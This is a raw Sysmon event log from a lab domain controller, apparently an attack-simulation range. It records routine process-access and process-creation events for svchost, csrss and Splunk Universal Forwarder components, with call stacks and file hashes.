09:14:53.369{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005934Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:53.369{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005933Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:53.369{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005932Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:53.369{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005931Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:53.369{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005930Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:53.369{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005929Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:53.369{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005928Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:53.369{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-2A0D-5F80-5201-000000007F01}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005927Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:53.369{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2A0D-5F80-5201-000000007F01}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005926Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:53.370{A5F018FF-2A0D-5F80-5201-000000007F01}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005952Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:54.729{A5F018FF-2A0E-5F80-5301-000000007F01}4340652C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005951Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:54.588{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2A0E-5F80-5301-000000007F01}4340C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005950Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:54.588{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005949Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:54.588{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005948Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:54.588{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005947Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:54.588{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005946Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:54.588{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005945Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:54.588{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005944Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:54.588{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005943Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:54.588{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005942Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:54.588{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005941Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:54.588{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-2A0E-5F80-5301-000000007F01}4340C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005940Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:54.588{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2A0E-5F80-5301-000000007F01}4340C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005939Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:54.589{A5F018FF-2A0E-5F80-5301-000000007F01}4340C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005966Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:55.510{A5F018FF-2A0F-5F80-5401-000000007F01}18763224C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005965Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:55.369{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2A0F-5F80-5401-000000007F01}1876C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005964Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:55.369{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005963Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 